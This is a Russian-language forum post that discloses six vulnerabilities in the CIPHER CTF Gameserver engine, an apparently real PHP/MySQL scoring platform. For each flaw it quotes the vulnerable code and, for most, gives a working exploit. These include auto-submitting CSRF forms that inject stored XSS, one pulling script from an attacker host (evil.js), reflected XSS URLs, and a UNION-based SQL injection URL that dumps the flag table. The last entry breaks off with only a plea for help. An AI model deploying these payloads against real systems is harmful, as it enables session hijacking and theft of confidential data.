Challenges in Informatics: Patching, Hacking and Exploiting - Gameserver
Движок предназначен для проведения соревнований по защите информации(типа флагов).
Офф сайт:
http://www.cipher-ctf.org/Gameserver.php
язык: php(front-end),perl(back-end)
БД: mysql
Версия: 1.0413
привязка к IP: нет
Уязвимости:
1)
Тип уязвимости: сsrf,stored xss
Требования: права админа у жертвы
файл: advisory_review.php
Что можно: подделать запрос оценки адвайзори,в поле с комментарием к оценке внедрить html код
Код:
PHP код:
if (get_string('submit')=='submit') {
$score = param('score');
$judge = param('judge');
$comment = param('comment');
$publish = get_int('publish');
if ($publish) {
$sql = "UPDATE advisory SET score='$score', judge='$judge', judgecomment='$comment',publishtime=submittime+".($delay_advisory_publishment*60)." WHERE id='$id';";
} else {
$sql = "UPDATE advisory SET score='$score', judge='$judge', judgecomment='$comment',publishtime=NULL WHERE id='$id';";
}
................................
<tr><th>Judge</th><td><input type="text" size=<?php echo $size_input_fields; ?> name="judge" value="<?php echo $judge; ?>" /></td></tr>
<tr><th>Comment</th><td><input type="text" size=<?php echo $size_input_fields; ?> name="comment" value="<?php echo $comment; ?>" /></td></tr>
Exploit:
Код HTML:
<form name="f1" method="post" action="http://host/advisory_review.php"/>
<input type=hidden name=id value="1">
<table>
<input type="text" size=10 name="score" value="100500"/>
<input type="checkbox" value=1 name="publish" checked="1">
<input type="text" size=50 name="judge" value="GA!!! <script src=http://host2/evil.js></script>"/>
<input type="text" size=50 name="comment" value="c00l" />
<input type="submit" size=50 name="submit" value="submit" />
</table>
</form>
<script>
document.forms[0].submit()
</script>
2)
Тип уязвимости: сsrf,stored xss
Требования: права админа у жертвы
файл: announcements.php,index.php
Что можно: подделать запрос добавления новости, внедрить в новости html код
Код:
PHP код:
if (array_key_exists('submit',$_POST) && ($_POST['submit'] == 'submit')) {
$message = param('message');
$sql = "INSERT INTO announce VALUES(NULL,$GAMEID,NOW(),\"$message\")";
if (query($sql)) {
header("Location: /");
exit;
} else {
$message = "<font color=red>".mysql_error()."</font>";
}
}
index.php:
PHP код:
$q = query("SELECT unix_timestamp(timestamp) as time,message FROM announce WHERE fi_game=$GAMEID ORDER BY timestamp DESC");
$count = 0;
while($row=mysql_fetch_array($q)) {
if(!$count) echo '<table border=1 width="100%">';
$msg_time = strftime("%d.%m. %H:%M",$row['time']);
echo "<tr><td align=center nowrap>$msg_time</td><td>".$row['message']."</td></tr>";
++$count;
}
Exploit:
Код HTML:
<form method=post>
<p><input type="hidden" name='message' value="<script>alert(123);</script>"></input></p>
<p><input type=submit value=submit name=submit></p>
</form>
<script>
document.forms[0].submit()
</script>
3)
Тип уязвимости: reflected xss
Требования: права админа у жертвы
файл: service_status.php
Что можно: внедрить html код
Код:
PHP код:
if (isset($_REQUEST['term'])) $term=$_REQUEST['term'];
............
echo "<center><h3>$term: #$id ".$cols[$id]."</h3></center>";
Exploit:
Код HTML:
http://192.168.0.12:8080/service_status.php?term=team%3Cscript%3Ealert(123)%3C/script%3E&id=1'
4)
Тип уязвимости: sql-инъекция
Требования: cookies админа,которые например можно достать через xss
файл: service_status.php
Что можно: получить доступ к конфиденциальной информации из БД, например к флагам и описаниям уязвимостей других команд.
Код:
PHP код:
$subq = query("SELECT unix_timestamp(last_change) as time,info,debug,status FROM service_status
WHERE (fi_game=$GAMEID)AND(fi_$other=$i)AND(fi_$term=$id)");;
Exploit:
Код HTML:
http://192.168.0.12:8080/service_status.php?term=service%3d-1)+union%20select%201%20as%20info,group_concat(flag),3,4%20from%20flag+--+&id=1'
5) Почти бесполезная уязвимость thnx for
v1d0q
Тип уязвимости: reflected xss
Требования: отсутствие прав админа у жертвы
файл: в закрытых разделах, где требуется ввести пароль админа.
Что можно: внедрить html код в ie
Код:
PHP код:
echo "
<form method=post>
<input type=hidden name=goto value='".$_SERVER['REQUEST_URI']."'>
<p>Enter password: <input type=password name=password></p>
<p><input type=submit value='Login'></p>
</form>
";
Exploit:
http://host/1.php?'><script>alert()</script>
6)
Тип уязвимости: sql-инъекция
Требования: cookies админа,которые например можно достать через xss
файл: performance.php
Что можно: получить доступ к конфиденциальной информации из БД, например к флагам и описаниям уязвимостей других команд.
Код:
PHP код:
$rows = query("SELECT id,name FROM $term,game_x_$term
WHERE
($term.id=game_x_$term.fi_$term)AND(game_x_$term.fi_game=$GAMEID)
ORDER BY $term.id");
Exploit:
Код HTML:
Please help!!! НИМАГУ